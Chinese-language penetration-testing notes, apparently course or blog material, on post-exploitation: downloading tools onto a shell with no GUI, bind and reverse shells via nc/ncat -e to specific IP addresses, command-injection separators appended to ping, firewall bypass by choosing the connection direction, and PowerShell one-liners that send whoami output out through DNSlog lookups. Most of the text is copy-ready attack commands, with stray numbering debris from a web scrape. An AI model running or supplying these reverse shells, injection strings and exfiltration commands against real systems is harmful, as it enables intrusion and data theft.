实用案例1:文件上传下载-解决无图形化&解决数据传输
下载命令参考地址:https://forum.ywhack.com/bountytips.php?download //推荐,功能很强大(支持windows、linux下载命令生成)
解决无图形化:拿到对方服务器的shell,但是很多情况都是返回一个终端窗口,没有图形化可操作,那么我们要上传下载东西就只能通过命令去执行
Linux:wget、curl 、
python、ruby 、perl 、java等(标记的是系统自带的命令,其他是需要对方系统支持相关环境才行)
https://blog.csdn.net/kellyroslyn/article/details/92552045(apt、wegt、git clone的区别)
Windows:PowerShell、Certutil、Bitsadmin
、msiexec、mshta、rundll32等
实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
NC反弹shell
反弹shell命令生成:https://forum.ywhack.com/shell.php
加密网址:https://www.jackson-t.ca/runtime-exec-payloads.html
解决命令无回显:有时候执行命令没有任何回显,不知道这个命令有没有问题,就需要借助反弹shell
解决命令交互式通讯:有时候修改密码或者添加用户在Linux里是交互式的,你在webshell上执行的话是不行的,没有交互式
useradd 用户名 passwd 用户名
测试Linux系统添加用户或修改密码命令交互回显问题
12345
要求就是Linux外网服务器能够控制windows外网服务器,可通过正反向连接实现
正反向连接重点是要看谁是参照物(参照物主动连出去叫正向,别人找过来就是反向)
1
1、正向连接:本地监听等待对方连接
参照物是Linux控制Windows
1
//windows绑定CMD到本地5566端口
nc -e cmd -lvp 5566
//linux主动连接windows的5566(ncat/nc都行 linux系统自带)
ncat 47.122.23.131 5566
参照物是Windows控制Linux
1
//linux绑定SSH到本地5566端口 (ncat/nc都行 linux系统自带)
ncat -e /bin/sh -lvp 5566
//windows主动连接目标5566
nc 47.94.236.117 5566
2、反向连接:主动给出去,对方监听
参照物是Windows控制Linux
1
//linux绑定CMD到目标5566端口
ncat -e /bin/sh 47.122.23.131 5566
//windows本地监听5566
nc -lvvp 5566
参照物是Linux控制Windows
1
//windows绑定CMD到目标5566端口
nc -e cmd 47.94.236.117 5566
//Linux本地监听5566
ncat -lvvp 5566
实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
管道符(单条命令能执行多条命令效果):| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows->| & || &&
Linux->; | || & && ``(特有``和;)
123
例子:
ping -c 1 127.0.0.1 ; whoami
1
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
12345
1、判断windows
2、windows没有自带的nc
3、想办法上传nc 反弹权限
4、反弹(支持正反向连接)
windows防火墙开启入站策略(一般入站限制会比较严格),采用反向连接
参照物:Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566
12
windows防火墙开启出站策略(一般出站限制比较松),采用正向连接
参照物:Linux:ncat 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566
注:得入站防火墙也得允许相对应端口才行,不然linux正向进不来,不然就只能内网主动交出数据,反向连接
123
实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog
出站入站都开启策略(数据不回显):
漏洞有,但是数据不回显:
1、反弹shell
2、带外查询(可以先Ping dnslog地址看有没有解析记录,有就代表存在命令执行)
但是在windows中是没有``和;的,也就没法像linux那样执行whomai
所以需要借助powershell来帮助
用到powershell变量赋值 把whoami执行结果给变量
结果带有“\” 导致ping无法执行,需要把\替换成别的
123
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.f4an93.dnslog.cn';$z=$x+$y;ping $z
1
powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
1
127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
1
如何判断对方存不存在命令执行?
ping dnslog地址 看有没有记录,有就代表存在命令执行